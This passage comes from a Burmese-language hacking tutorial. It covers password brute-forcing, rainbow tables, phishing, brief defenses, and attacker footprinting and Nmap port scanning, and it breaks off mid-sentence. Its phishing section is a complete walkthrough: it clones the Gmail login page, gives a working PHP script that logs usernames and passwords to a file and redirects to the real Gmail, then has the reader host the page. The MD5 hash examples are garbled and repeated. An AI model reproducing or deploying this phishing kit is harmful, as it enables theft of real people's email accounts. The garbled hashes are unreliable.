၁. Dictionary Attack လုပ္ခဲ့တုန္းကလုိပဲ Target, Type နဲ႕ Port ေတြကို ေရြးေပးပါ။ Pass Mode မွာ 

Brute Force ကိုေရြးၿပီး Range ကို ႏွိပ္ပါ။ 

ပုံ - 29 

 
 
 
 
 
 
 
 



၂. Password က ဘာေတြျဖစ္ႏုိင္မယ္ဆိုတာကို သိတယ္ဆိုရင္ေတာ့ မွန္မွန္ကန္ကန္ 

ေရြးေပးႏိုင္ပါလိမ့္မယ္။ Uပမာ - Aဲဒီဆုိဒ္ဟာ password Aနည္းဆုံး ဘယ္ႏွစ္လုံးရွိရမယ္လို႕ 

သတ္မွတ္ထားတယ္ဆိုရင္ Minimum Length မွာAဲဒါကို ေရြးထည့္ေပးလိုက္ပါ။ ဒါဆိုရင္ ရွာရတာ 

ပိုလြယ္၊ ပိုျမန္သြားပါမယ္။ 

ပုံ - 30 

 
 
၃. ဒီ Uပမာမွာေတာ့ ဒုတိယA နည္းဆုံး combination ျဖစ္တဲ့ Lowercase Alpha ကိုပဲ 

ေရြးလုပ္ထားပါတယ္။ ဒါေတာင္ ျဖစ္ႏိုင္ေခ်ရွိတဲ့ Password Combination ေပါင္း 321, 272,407 ခု 

ထြက္လာပါတယ္။ Password တစ္ခုကို Crack ဖို႕ဆိုတာ ဘယ္ေလာက္ၾကာလဲ A ခု သိၿပီေပါ့။ 

ပုံ - 31 

 
 
 
 
 
 
 
 
 
 
 
 
 



Rainbow Tables  

Rainbow table ဆိုတာ ျဖစ္ႏိုင္ေခ်ရွိတဲ့ စာလုံးAတြဲေတြရဲ႕ hash value 

ႀကိဳတင္တြက္ခ်က္ထားတဲ့ List Aႀကီးႀကီးကို ေခၚတာပါ။ Password hash ဆိုတာကေတာ့ password 

တစ္ခုကို သခ်ာၤAယ္လဂိုရီသမ္နည္းတစ္ခုနဲ႕ ေျပာင္းလဲလိုက္တာကို ဆိုလိုပါတယ။္ Hash ဆိုတာကို 

one way encryption လို႕ဆိုၾကပါတယ္။ ဒါေၾကာင့္ password တစ္ခုကို hash လုပ္လိုက္ရင္ Aဲဒီ hash 

string ကေန မူလရိုက္ထားတဲ့ စာေတြကို ျပန္ၿပီး ေဖာ္လို႕ (decrypt လုပ္လို႕) မရပါဘူး။ ဒီေတာ့ 

ျဖစ္ႏိုင္ေခ်ရွိတဲ့ Aသုံးမ်ားတဲ့ password ေတြကို၊ Dictionary Attack မွာတုန္းက သုံးခဲ့တဲ့ Password 

list ထကဲ word ေတြကို ႀကိဳတင္ hash လုပ္ထားတဲ့ table ကို Rainbow table လို႕ေခၚပါတယ္။ 

Website database ေတြထမဲွာ password ေတြကို သိမ္းတဲ့A ခါ A မ်ားဆုံး သုံးတဲ့ hashing algorithm 

ကေတာ့ MD5 ပါ။ 

 Website တစ္ခုမွာ သင္ Register လုပ္တယ္လို႕ ဆိုၾကပါစို႕။ Username ထည့္မယ္၊ Password 

ထည့္မယ္။ ၿပီးေတာ့ submit လုပ္မယ္။ submit လုပ္လုိက္တဲ့ A ခ်ိန္မွာ သင့္ရဲ႕ password ကို MD5 

Algorithm နဲ႕တြက္ခ်က္လိုက္ၿပီး ရလာတဲ့ hash ကို database ထဲမွာသိမ္းလိုက္ပါတယ္။ ဒါဆို 

database ထမဲွာ သိမ္းလိုက္တာ hash code ေတြပါ။ ဒီေတာ့ ေနာက္တစ္ခါ Login ၀င္တဲ့A ခ်ိန္မွာ 

ကိုယ္ရုိက္တဲ့  Password ရိုးရိုး (hash code မဟုတ္) နဲ႕ ဘယ္လို၀င္လုိ႕ရတာလဲ? Login ၀င္ဖို႕ 

password ရုိက္ၿပီး ၀င္တဲ့A ခ်ိန္မွာ Script တစ္ခုက password ကို MD5 Algorithm နဲ႕ပဲ 

တြက္ခ်က္လိုက္ၿပီး Database ထမဲွာသိမ္းထားတဲ့ hash code နဲ႕ တိုက္ဆိုင္စစ္ေဆးပါတယ္။ မွန္ရင္ 

၀င္ခြင့္ေပးလုိက္ပါတယ္။ 

 ‘khit100’ ဆုိတဲ့ စာလုံးA တြဲရဲ႕ MD5 Hash က 50f0434195db756dc7d145c319cfc38750f0434195db756dc7d145c319cfc38750f0434195db756dc7d145c319cfc38750f0434195db756dc7d145c319cfc387 ပါ။ 

‘www.myanmarfamily.org’ ဆိုတာကို တြက္လိုက္ရင္ 4d826a9df56b2904dd100d3ca1fbe0194d826a9df56b2904dd100d3ca1fbe0194d826a9df56b2904dd100d3ca1fbe0194d826a9df56b2904dd100d3ca1fbe019 

ရပါမယ္။ ျဖစ္ႏိုင္ေခ်ရွိတဲ့ စာလုံးA တြဲေတြရဲ႕ Hash Value Table သာရွိရင္ Brute-force Cracking 

ထက္ Crack ရတာ A မ်ားႀကီးပိုသာပါလိမ့္မယ္။ Rainbow table တစ္ခုကို ဖန္တီးၿပီးသြားၿပီဆိုရင္ 

Password ေတြကို Crack ရတာဟာ Brute-force လုပ္ၿပီး crack ျခင္းထက္ A ဆ100 ပိုျမန္ပါလိမ့္မယ္။ 

Windows password cracking A ခန္းကို ေရာက္ရင္ Rainbow table နဲ႕ crack ျခင္းကို ေဖာ္ျပပါမယ္။ 

 
 
 
 
 
 
 
 



Phishing  

Phising ဆိုတာ တစ္ေယာက္ေယာက္Aသြင္ Aေယာင္ေဆာင္ၿပီး Usernames ေတြ၊ 

passwords ေတြနဲ႕ bank information ေတြကို ခိုးယူျခင္းျဖစ္ပါတယ္။ Uပမာ - သင္ေငြထည့္ထားတဲ့ 

ဘဏ္ကေန သင့္ဆီAီးေမးလ္ပို႕သလို ေမးလ္တစ္ေစာင္ကို ဟကၠာက ပို႕လိုက္ပါတယ္။ Aဲဒီေမးလ္ထမဲွာ 

သင့္ရဲ႕Aေကာင့္ကို သက္တမ္းတိုးျမွင့္ဖို႕ လိုတယ္လို႕ေျပာၿပီး link တစ္ခု ေပးထားပါမယ္။ Aဲဒီ Link 

ကိုႏွိပ္လိုက္ရင္လည္း ဘဏ္ရဲ႕ home page နဲ႕ခၽြတ္စြပ္တူတဲ့ web page 

တစ္ခုကိုေရာက္သြားပါလိမ့္မယ္။ ဒါေပမယ့္ Aဲဒီ page ႀကီးကAတုႀကီးပါ။ Aဒီဲကေနၿပီး သင့္ရဲ႕ 

 password ေတြ ထည့္ၿပီး၀င္လိုက္လို႕ကေတာ့ သင့္Aခ်က္Aလက္ေတြဟာ ဟကၠာရဲ႕ ေမးလ္ဆီ 

(ဒါမွမဟုတ္) သူ႕ရဲ႕ Web Server တစ္ခုဆီေရာက္သြားပါလိမ့္မယ္။ Aေကာင္းဆုံးလွည့္စားႏုိင္မယ့္ 

Phishing Web Pages ေတြကို ေရးသားႏိုင္တဲ့ ဟကၠာျဖစ္ဖို႕ကေတာ့ HTML နဲ႕ PHP 

ဘာသာစကားေတြကို တတ္ေျမာက္ထားဖို႕လိုပါတယ္။ Phishing Web Page 

တစ္ခုဘယ္လုိလုပ္မလဲဆိုတဲ့ နမူနာေလးတစ္ခု ေAာက္မွာေျပာျပပါ့မယ္။ ဒီလို Attack မ်ိဳးကုိ 

ကာကြယ္ႏိုင္ဖုိ႕ ဟကၠာေတြရဲ႕ Phishing Page လုပ္နည္းလုပ္ဟန္ေတြကို သိထားဖို႕လိုပါတယ္။ 

 
၁. ပထမဆုံး Target ေရြးပါမယ္။ Phishing Attack ကို A မ်ားဆုံးA လုပ္ခံၾကရတဲ့ Target ေတြကေတာ့ 

Hotmail နဲ႕ Gmail ပါ။ ဘာလို႕လဲဆိုေတာ့ A ဲဒီဟာေတြက လူသုံးမ်ားႀကၿပီး 

သင့္ရဲ႕ေမးလ္A ေကာင့္ထကဲို ဟကၠာသာ၀င္ႏိုင္သြားရင္ တစ္ျခား Website ေတြမွာရွိတဲ့ 

သင့္A ေကာင့္ေတြရဲ႕ A ခ်က္A လက္ေတြကိုလည္း ရၿပီေလ။ ဒီ Uပမာမွာေတာ့ Gmail ကို Target 

ထားၿပီး ေျပာျပသြားပါမယ္။  

 

၂. Target ကိုေရြးၿပီးသြားရင္ A ဲဒီ page ကိုသြားၿပီး၊ Main page တစ္ခုလုံးကုိ Save လုပ္ပါမယ္။ 

ကၽြန္ေတာ္ကေတာ့ Mozilla Firefox Browser ကို သုံးပါတယ္။ ဒါေၾကာင့္ www.gmail.com ကိုသြားၿပီး 

ေရာက္သြားရင္ Browser က File -> Save page as ကိုႏွိပ္ပါ။ ၿပီးရင္ Save လုပ္မယ့္ ေနရာေရြးေပးပါ၊ 

Save as type : ေနရာမွာ Web Page, complete ျဖစ္ေနပါေစ။ ၿပီးရင္ Save ကိုႏွိပ္လိုက္ပါ။ 

ပုံ - 32. 33 



 

 
 
၃. Save လုပ္ၿပီးသြားရင္ Aဲဒီ Page ရဲ႕နာမည္ဟာ index.htm ဟုတ္မဟုတ္ ၾကည့္ပါ။ မဟုတ္ရင္ 

index.htm ေျပာင္းလိုက္ပါ။ index လို႕ေျပာင္းရျခင္းAေၾကာင္းကေတာ့ ဒီဖိုင္ေတြကို host 

တစ္ခုခုမွာတင္ၿပီး link ကို ဖြင့္ၾကည့္ရင္ index page က Aရင္ဆုံးေပၚလာမွာ မို႕ပါ။ 

 

၄. ေနာက္တဆင့္ကေတာ့ Aက်င့္Aယုတ္ဆုံး Aလုပ္ပါ။ login Aခ်က္Aလက္ေတြကို ခိုးဖို႕ PHP script 

တစ္ခု ေရးရပါမယ္။ ေAာက္က PHP script ကေတာ့ Login ၀င္တဲ့Aခ်က္Aလက္ေတြကို Sign in 

လုပ္တာနဲ႕ သိမ္းဆည္းေပးမယ့္ Script နမူနာပါ။ Aလုပ္လုပ္ပုံကို ၾကည့္ခ်င္တယ္ဆိုရင္၊ ေAာက္က 



code ေတြကို Notepad ထမဲွာ ကူးထည့္ၿပီး Gmail page ကုိ save လုပ္ခဲ့တဲ့ ေနရာနဲ႕တစ္ေနတည္းထမဲွာ 

phish.php ဆိုတဲ့နာမည္နဲ႕ သိမ္းလိုက္ပါ။ ၿပီးေတာ့ ဘာမွမပါတဲ့ empty text file တစ္ခုကိုလည္း 

Aဲဒီေနရာမွာပဲ list.txt နာမည္နဲ႕ create လုပ္လိုက္ပါ။ 

 
<?php // This marks the beginning of the // This marks the beginning of the // This marks the beginning of the // This marks the beginning of the PHP script.PHP script.PHP script.PHP script.    

Header(“Location: 

https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&co

ntinue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=

1k96igf4806cy&ltmpl=default&ltmplcache=2 “); // once you click “Sign in” // once you click “Sign in” // once you click “Sign in” // once you click “Sign in” in the fake in the fake in the fake in the fake 

website, this redirects you to the real Gmail website, making the whole process look more website, this redirects you to the real Gmail website, making the whole process look more website, this redirects you to the real Gmail website, making the whole process look more website, this redirects you to the real Gmail website, making the whole process look more 

legit.legit.legit.legit.    

$handle = fopen(“list.txt”, “a”); // this tells the server to open the file “list.txt” and get it // this tells the server to open the file “list.txt” and get it // this tells the server to open the file “list.txt” and get it // this tells the server to open the file “list.txt” and get it 

ready for appending data. Which in this case is yready for appending data. Which in this case is yready for appending data. Which in this case is yready for appending data. Which in this case is your username and password.our username and password.our username and password.our username and password.    

Foreach($_GET as $variable => $value) { 

fwrite($handle, $variable); 

fwrite($handle, “=”); 

fwrite($handle, $value); 

fwrite($handle, “\r\n”); 

} // This section simply assigns all the information going through this form to a variabl// This section simply assigns all the information going through this form to a variabl// This section simply assigns all the information going through this form to a variabl// This section simply assigns all the information going through this form to a variable. e. e. e. 

This includes your username and password.This includes your username and password.This includes your username and password.This includes your username and password.    

Fwrite($handle, “\r\n”); // This writes your details to the file “list.txt”// This writes your details to the file “list.txt”// This writes your details to the file “list.txt”// This writes your details to the file “list.txt”    

fclose($handle); // This simply closes the connection to the file “list.txt”// This simply closes the connection to the file “list.txt”// This simply closes the connection to the file “list.txt”// This simply closes the connection to the file “list.txt”    

exit; 

?> // Marks the end of the PHP program.// Marks the end of the PHP program.// Marks the end of the PHP program.// Marks the end of the PHP program.    

    
 
 
 
 
 
 
 



ဒီေတာ့ Web Page ကို Save လုပ္ထားတဲ့ ေနရာမွာ ေAာက္ကAတိုင္း ဖိုင္ေတြ ရွိေနပါလိမ့္မယ္။ 

ပုံ - 34 

 
 
၅. Aခု Aေပၚက လုပ္ခဲ့တဲ့ PHP Script နဲ႕ Main Page က code ေတြကို ခ်ိတ္ဆက္ေပးဖို႕ 

လုပ္ရပါမယ္။ Gmail Page ကို notepad နဲ႕ဖြင့္လိုက္ပါ။ 

 

၆. Ctrl + F ႏွိပ္၊ action လို႕ရိုက္ထည့္ၿပီး Find Next 

ပုံ - 35 

 
 
၇. ဒါဆို action ဆိုတဲ့ စာလုံးပါတဲ့ ေနရာေတြကို ေရာက္သြားပါမယ္။ Main Page Script ထမဲွာ action 

ႏွစ္ေနရာ ပါပါတယ္။ ဒါေၾကာင့္ ေသေသခ်ာခ်ာ ေရြးဖုိ႕လိုပါတယ္။ Aေပၚနားေလးမွာ form id= 

“gaia_loginform” 

ဆိုၿပီးပါတဲ့ action = “”  လင့္ခ္ကို phish.php လို႕ ေျပာင္းေပးလိကု္ပါ။ Aဲဒီလင့္ခ္ရဲ႕ ေနာက္/ေAာက္ 

မွာ method= “post” ဆိုတာကို ရွာပါ။ “POST” ကို “GET” လို႕ျပင္လိုက္ပါ။ method = “GET” 

ဆိုၿပီးေပါ့။ 

 

၈. Aဲဒီဖိုင္ကို Save လုပ္ၿပီး ပိတ္လိုက္ပါ။ 

 

၉. ေနာက္တစ္ဆင့္ကေတာ့ Aဲဒီဖိုင္ေတြကို php support ေပးတဲ့ free web host 

တစ္ခုခုမွာတင္လိုက္ပါ။ free ေပးတဲ့ host ေတြကိုေတာ့ Google နဲ႕ ရွာၾကည့္လိုက္ပါ။ 

 



၁၀. ဖိုင္ေတြ Aားလုံးတင္ၿပီးသြားရင္ list.txt ဖိုင္ကို writing permission ေပးရပါမယ္။ hosting site 

Aားလုံးတုိင္းလိုလို ဖိုင္တစ္ခုခ်င္းစီAတြက္ CHMOD option ေပးထားေလ့ရွိပါတယ္။ Aဲဒီ option 

ကိုေရြးေပးၿပီး list.txt ဖိုင္Aတြက္ permission ကို 777 လို႕ေျပာင္းေပးလိုက္ပါ။ ဒါကို 

ဘယ္လိုေျပာင္းရမလဲ မသိဘူးဆိုရင္ Aဲဒီ host ကို သုံးတဲ့ တစ္ျခားသူတစ္ေယာက္ေယာက္ကို 

ေမးၾကည့္ပါ၊ ဒါမွမဟုတ္ google နဲ႕ “yourwebhostname chmod” ဆိုၿပီး ရွာၾကည့္ပါ။ 

(yourwebhostname ေနရာက ကိုယ့္ဖိုင္ေတြကို တင္လိုက္တဲ့ site name) 

 

၁၁. Aားလုံးၿပီးရင္ စမ္းၾကည့္ၾကရေAာင္၊ host ကေပးတဲ့ သင့္ဆိုဒ္Aတြက္ link ကိုႏွိပ္ၾကည့္လိုက္ပါ။ 

Gmail page နဲ႕ ခၽြတ္စြပ္တူတဲ့ page တစ္ခုကို ျမင္ရပါမယ္။ username နဲ႕ password ရိုက္ထည့္ၿပီး 

၀င္လိုက္ပါ။ တကယ့္ Gmail Aစစ္ရဲ႕ page ကို ေရာက္သြားပါမယ္။ 

 

၁၂. Aခု သင့္တင္ထားတဲ့ host ဆီက file manager ဆီကိုသြားၿပီး (ဒါမွမဟုတ္) 

http://www.yourwebhosturl.com/youraccount/list.txt ကိုသြားၿပီး list.txt ဖိုင္ဖြင့္ၾကည့္ပါ။ 

Aမ်ားAားျဖင့္ ဒီလိုသြားၾကည့္ႏိုင္ေပမယ့္ သင္သုံးတဲ့ host Aေပၚမူတည္ၿပီး url ေျပာင္းလဲႏိုင္ပါတယ္။ 

ခုနက sign in ၀င္ခဲ့တဲ့ username က “myusername” နဲ႕ password က “mypassword” 

လို႕ဆိုၾကပါစို႕။ ဒါဆိုရင္ list.txt ဖိုင္ထမဲွာ ေAာက္ကAတိုင္း ျမင္ရပါမယ္။ 

ပုံ - 36 

 
ေတြ႕တဲ့Aတိုင္းပါပဲ ဒီAကြက္ကို ခံရတဲ့သူကေတာ့ ကိုယ့္ရဲ႕ email password ပါသြားပါၿပီ။ 

ေၾကာက္စရာႀကီး ေနာ္? 

 

 
 
 
 
 
 



ကာကြယ္နည္းမ်ား 

ဒီ Chapter မွာ ေဖာ္ျပခဲ့တဲ့ Password Cracking နည္းAားလုံးရဲ႕ ရန္ကေန ဘယ္လိုကာကြယ္ရမလဲ 

ဆိုတာကို Aႀကံေပးပါမယ္။ 

 

Social Engineering, Shoulder Surfing နဲ႕ Guessing နည္းေတြAတြက္ ကာကြယ္နည္းကိုေတာ့ 

မေျပာေတာ့ပါဘူး။ Aခုေခတ္မွာ Aဲဒီနည္းေတြနဲ႕ ခံရေလာက္ေAာင္ A, တ့ဲသူမရွိေတာ့ဘူးလို႕ 

ထင္လို႕ပါ။ ဒါေပမယ့္ သိခ်င္ေသးတယ္ဆိုရင္ေတာ့ မူရင္းစာAုပ္ထဲမွာ ဖတ္ၾကည့္ႏိုင္ပါတယ္။ 

 

Dictionary Attack မ်ား၏ ရန္မွ ကာကြယ္ျခင္း 

ဒီ Attack ကို ကာကြယ္ဖုိ႕A တြက္ကေတာ့ A ရမ္းကို ရိုးစင္းပါတယ္။ Dictionary ထမဲွာ ပါတဲ့ 

စကားလုံးေတြကို password A ျဖစ္ မသုံးနဲ႕ေပါ့။ dictionary ထဲက စာလုံးေတြကိုသုံးမယ္၊ ဒါေပမယ့္ 

စာလုံးတစ္ခ်ိဳ႕ကို နံပါတ္ေတြနဲ႕ A စားထုိးၿပီးသုံးရင္ ေဘးကင္းၿပီလို႕ တစ္ခ်ိဳ႕လူေတြက 

ထင္တတ္ၾကပါတယ္။ ေဘးမကင္းပါဘူး။ 1337 ဘာသာစကား dictionary ေတြလည္း 

A မ်ားႀကီးထြက္ေနပါၿပီ။ 1337 ဘာသာစကားဆိုတာ စာလုံးေတြကို နံပါတ္နဲ႕A စားထိုးေရးတာပါ၊ Uပမာ 

“animal” ကို 4n1m41 ဆိုၿပီး ေရးၾကသလိုေပါ့။ 

 

Brute-force Attack ရန္မွ ကာကြယ္ျခင္း 

 Password ကို ရွည္ရွည္သုံး၊ password ထဲမွာ နံပါတ္ေတြ၊ odd character 

(!@#$%^&*><.....)ေတြပါ ထည့္သုံး၊ ဒါဆို ဒီ Attack ရဲ႕ရန္ကေန 

ေတာ္ေတာ္ကာကြယ္ႏိုင္ပါလိမ့္မယ္။ password ရွည္ေလ၊ A ဲဒီ password ကုိ crack ရတဲ့ 

A ခ်ိန္ပိုၾကာေလပါပဲ။ သင့္ရဲ႕ password ကို crack ေနရတာ ရက္ေတာ္ေတာ္လည္းၾကာလာတာနဲ႕ 

hacker လည္း စိတ္ပ်က္ၿပီး A ရႈံးေပးလိုက္ပါလိမ့္မယ္။ 

 

Rainbow Tables ကိုသုံး၍ တိုက္ခိုက္ျခင္းမွ ကာကြယ္ျခင္း 

 Password ကို ရွည္ရွည္သာေပးထားရင္ Rainbow Table ကိုသုံးၿပီး Crack တဲ့ရန္ကေန 

ကာကြယ္ႏိုင္ပါတယ္။ Rainbow Table တစ္ခုဖန္တီးဖို႕တင္ Resource A မ်ားႀကီး၊ A ခ်ိန္A မ်ားႀကီး 

လိုပါတယ္။ ဒါေၾကာင့္ Rainbow Table ေတြကို မ်ားမ်ားစားစား ရွာမေတြ႕ႏိုင္ပါဘူး။ 

 

Phishing ရန္မွ ကာကြယ္ျခင္း 

 ဒီ Attack ကိုလည္း ေA းေA းေဆးေဆးပဲ ေရွာင္လႊဲႏိုင္ပါတယ္။ Website တစ္ခုက သင့္ကို 

Username ေတြ၊ Password ေတြ ျဖည့္ခုိင္းၿပီဆိုရင္ URL bar ထဲကုိ ၾကည့္လိုက္ပါ။ Uပမာ - ကုိယ္ဟာ 



gmail.com ထဲကို ကိုယ့္ password ရိုက္ထည့္ၿပီး ၀င္ေတာ့မယ္ဆိုပါစို႕၊ ဒါေပမယ့္ URL bar ထကဲ 

address က ၀င္ေနက် gmail.com မဟုတ္ဘဲ gmail.randomsite.com, or gamilmail.com ဆိုၿပီး 

မတူတဲ့ address ေတြျဖစ္ေနရင္ Aဲဒါ Aတုပါ။ Gmail Aစစ္ page ဆုိရင္ http://mail.google.com 

ဆိုၿပီး ျဖစ္ရပါမယ္။ က်န္တာဆိုရင္ Aတုပါ။ 

 
More Programs 

 Aခု Password Cracking ဆိုတာဘာလဲ သင္သိသြားပါၿပီ။ ဒါဆို လႀူကိဳက္မ်ားတဲ့ ေAာက္က 

cracking software ေတြကိုလည္း ေလ့လာၾကည့္ပါ။ 

Can and Abel – http://www.oxid.it/cain.html 

John the Ripper – http://www.openwall.com/john/ 

THC Hydra – http://freeworld.thc.org/thc-hydra/ 

Rainbow Crack – http://www.antsight.com/zsl/rainbowcrack/ 

 
 
 
 
 
 
 
 
 
 
 
 
 

 
 
 
 



 
 
 
 
 
 
 

Chapter Five 
Network Hacking 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



Footprinting 

Footprinting ဆိုတာ computer system တစ္ခုနဲ႕ Aဲဒီ ကြန္ပ်ဴတာကို ပိုင္သူရဲ႕ 

သတင္းAခ်က္Aလက္ေတြကို စုစည္းျခင္းပါ။ ဟကၠာတစ္ေယာက္ရဲ႕ Hacking လုပ္ငန္းစUA္တြက္ 

ပထမဆုံးလုပ္ရမယ့္ Aဆင့္ျဖစ္သလို Aေရးလည္းပါတဲ့ Aဆင့္ပါ။ Aေၾကာင္းက ကိုယ္ေဖာက္မယ့္ 

system ရဲ႕Aေၾကာင္း/သတင္းAခ်က္Aလက္ေတြကို မေဖာက္ခင္တည္းက 

ႀကိဳတင္သိထားဖို႕လိုတယ္ေလ။ Website တစ္ခုရဲ႕ Information ေတြကုိ ဟကၠာတစ္ေယာက္ 

ဘယ္လိုယူလဲဆိုတဲ့ Aဆင့္ေတြကို ေAာက္မွာေျပာျပပါမယ္။ 

 

၁. ပထမဆုံးကေတာ့ Target Website ရဲ႕ သတင္းAခ်က္Aလက္ေတြကို စုေဆာင္းဖို႕ေပါ့။ Website ရဲ႕ 

Email လိပ္စာေတြ၊ နာမည္ေတြကို ရွာေဖြစုစည္းပါမယ္။ ဒီ site ကို Social Engineering နဲ႕တိုက္မယ္လို႕ 

ဆုံးျဖတ္ထားရင္ ဒီဟာေတြက Aသုံး၀င္လာမွာပါ။ 

 

၂. Website ရဲ႕ IP Address ကို သိေA ာင္လုပ္ရပါမယ္။ 

http://www.selfseo.com/find_ip_address_of_a_website.php ကိုသြားၿပီး website ရဲ႕ URL ကို 

ထည့္လိုက္ပါ။ IP Address ရပါလိမ့္မယ္။ 

ပုံ - 37 

 
 
 
 
 
 
 
 
 
 
 
 



၃. Aဲဒီဆိုဒ္ရဲ႕ Server ဟာ run ေန/မေန Ping လုပ္ၿပီး စမ္းၾကည့္ရပါမယ္။ Offline ျဖစ္ေနတဲ့ Server 

ကို hack လို႕မွ မရပဲေလ။ http://just-ping.com ဟာ ဆိုဒ္တစ္ခုကို ကမၻာတစ၀္ွမ္း 34 ေနရာကေနၿပီး 

ping လုပ္ေပးပါတယ္။ Aဲဒီကိုသြားၿပီး website url ဒါမွမဟုတ္ website နာမည္ကို ထည့္လိုက္ၿပီး Ping 

ကိုႏွိပ္လုိက္ပါ။ Packet Aားလုံး ျဖတ္သြားတယ္ဆုိရင္ Server ဟာ online မွာ ရွိေနပါတယ္။ 

ပုံ - 38 

 
 
၄. ေနာက္တစ္ဆင့္က Aဲဒီဆုိဒ္ရဲ႕ Whois ကို ရွာပါမယ္။ http://whois.domaintools.com သြားၿပီး 

target website နာမည္ကို ထည့္ရွာလိုက္ပါ။ Aဲဒီဆုိဒ္ရဲ႕ Information ေတာ္ေတာ္မ်ားမ်ားကို 

ေတြ႕ရပါမယ္။ Aီးေမးလ္ေတြ၊ လိပ္စာေတြ၊ နာမည္ေတြ၊ domain စတင္တဲ့ ရက္စြဲ၊ domain expire 

ျဖစ္မယ့္Aခ်ိန္၊ domain name server ေတြ စသျဖင့္ Aမ်ားႀကီး ေတြ႕ရပါမယ္။ 

 

၅. Search Engine ေတြရဲ႕ Aားသာခ်က္ကိုလည္း Aသုံးခ်ႏုိင္ပါေသးတယ္။ Google မွာ 

“site:www.the-target-site.com” ဆိုၿပီး ရိုက္ရွာၾကည့္ရင္ Aဲဒီ website နဲ႕ပတ္သက္တဲ့ page 

Aားလုံးကို ေတြ႕ရပါမယ္။ ပိုၿပီးတိတိက်က် ရွာေတြ႕ႏိုင္ဖို႕ Aဲဒီေနာက္မွာ ဆုိင္ရာဆိုင္ရာ စာလုံးေတြကို 



ထည့္ရွာႏုိင္ပါတယ္။ Uပမာ - “site:www.the-target-site.com email” ဆိုၿပီး ရွာရင္ Aဲဒီဆိုဒ္မွာ 

တင္ထားတဲ့ email Aကုန္လုံးကိုေတြ႕ရပါလိမ့္မယ္။ Google နဲ႕လုပ္လို႕ရတ့ဲ ေနာက္ Search 

တစ္ခုကေတာ့ “inurl:robots.txt” ဆိုၿပီး inurl: ကို သုံးရွာျခင္းပါ။ ဒီလိုရွာလိုက္ရင္ site ေတြရဲ႕ url ထမဲွာ 

robots.txt ပါတဲ့ url Aားလုံးကို ေတြ႕ပါမယ္။ ဆုိဒ္တစ္ခုမွာ robots.txt ဖိုင္ရွိရင္ Aဲဒီထဲမွာ Search 

Engine ေတြက ရွာလို႕မေတြ႕ႏိုင္တဲ့ ဆိုဒ္ရဲ႕ Directory ေတြ၊ Page ေတြAားလုံး ပါ၀င္ပါတယ္။ 

ကံေကာင္းရင္ေတာ့ Aဲဒီဖိုင္ထကဲေန Aဖိုးတန္တဲ့ လွ်ိဳ႕၀ွက္Aခ်က္Aလက္ေတြ ရႏိုင္ပါတယ္။ 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



Port Scanning 

Server တစ္ခုရဲ႕ Port ေတြကို Scan လုပ္ရတဲ့ Aဓိကရည္ရြယ္ခ်က္က open port ေတြကို 

သိဖို႕နဲ႕ Aဲဒီ port ကုိသုံးၿပီး run ေနတဲ့ Service ေတြကို သိဖို႕ပဲ ျဖစ္ပါတယ္။ သင့္ Server ေပၚမွာ Run 

ေနတဲ့ Service Aားလုံးကို ဟကၠာတစ္ေယာက္ သိသြားၿပီဆိုရင္ Aဲဒီ Service ေတြမွာ ရွိႏုိင္တဲ့ 

Vulnerabilities ေတြကို သူရွာပါေတာ့မယ္။ ေတြ႕ၿပီဆိုရင္ Aဲဒါေတြကို Aျပည့္A၀Aသုံးခ်ၿပီး သင့္ 

Website ကို ထိန္းခ်ဳပ္ဖို႕ႀကိဳးပမ္းပါေတာ့မယ္။ ဒီ Port Scanning Example မွာ လူသိမ်ားတဲ့ Nmap 

ဆိုတဲ့ Scanner ကို Aသုံးျပဳၿပီး ေျပာသြားပါမယ္။ http://nmap.org/download.html ကေန 

ေဒါင္းလုိက္ပါ။ 

 

၁. ပထမဆုံး Target site Address ကိုထည့္ပါမယ္။ Command: A ကြက္ထဲမွာပါ 

လိုက္ေျပာင္းသြားတာကို သတိျပဳမိတယ္ေနာ္။ A ဲဒီ command ေတြကေတာ့ A ခုသံုးေနတဲ့ GUI 

version မဟုတ္ဘဲ CLI version ဆိုရင္ သုံးရမယ့္ command ေတြပါ။ 

ပုံ - 39 

 
 
၂. Profile (သို႕မဟုတ္) Scan type ကို ေရြးခ်ယ္ရပါမယ္။ A ေတြ႕A ႀကံဳရင့္တဲ့ ဟကၠာႀကီးေတြကေတာ့ 
quick and quiet scan ကို ေရြးၾကပါတယ္။ Full version detection scan ကိုေရြးရင္ 
ရိပ္မိသြားႏိုင္ပါတယ္။ ဒါေၾကာင့္ ဒီဟာေတြကို မေရြးပါနဲ႕A ုံး။ 
ပုံ - 40 

 



၃. ေAာက္ကပုံကေတာ့ Simple Scan နဲ႕ scan လုပ္လိုက္ရင္ ေတြ႕ရမယ့္ ရလဒ္ပါ။ 
ပုံ - 41 

 
 
၄. ေတြ႕ရတဲ့ Aတိုင္းပဲ open port ေတြနဲ႕ Aဲဒီ port ေတြမွာ run ေနတဲ့ Service ေတြကို 

ျပထားပါတယ္။ လူသိမ်ားတဲ့ Port ေတြနဲ႕၊ Service ေတြကေတာ့…… 

Port Service 

20 FTP data (File Transfer Protocol) 

21 FTP (File Transfer Protocol) 

22 SSH (Secure Shell) 

23 Telnet 

25 SMTP (Simple Mail Transfer Protocol) 

43 Whois 

53 DNS (Domain Name Service) 

68 DHCP (Dynamic Host Control Protocol) 

80 HTTP (Hyper Text Transfer Protocol) 

110 POP3 (Post Office Protocol, version 3) 

137  NetBIOS-ns 

138  NetBIOS-dgm  

139 NetBIOS 

143 IMAP (Internet Message Access Protocol) 

161 SNMP (Simple Network Management Protocol) 

194 IRC (Internet Relay Chat) 

220  IMAP3 (Internet Message Access Protocol 3)  

443  SSL (Secure Socket Layer)  

445  SMB (NetBIOS over TCP)  

1352  Lotus Notes  

1433  Microsoft SQL Server  



1521  Oracle SQL  

2049  NFS (Network File System)  

3306  MYSQL  

4000  ICQ  

5800  VNC  

5900  VNC  

8080  HTTP 

 

5. Aသုံးျပဳေနတဲ့ Port ေတြကို ရွာေနတဲ့ တစ္ခ်ိန္တည္းမွာ Aဲဒီ Server မွာ ဘာ OS သုံးေနလဲ ဆိုတာပါ 

ရွာဖို႕လိုပါတယ္။ OS တိုင္းလိုလိုမွာ Aားနည္းခ်က္ေတြ ရွိတတ္ၾကပါတယ္။ ဒါေၾကာင့္ ဘာ OS 

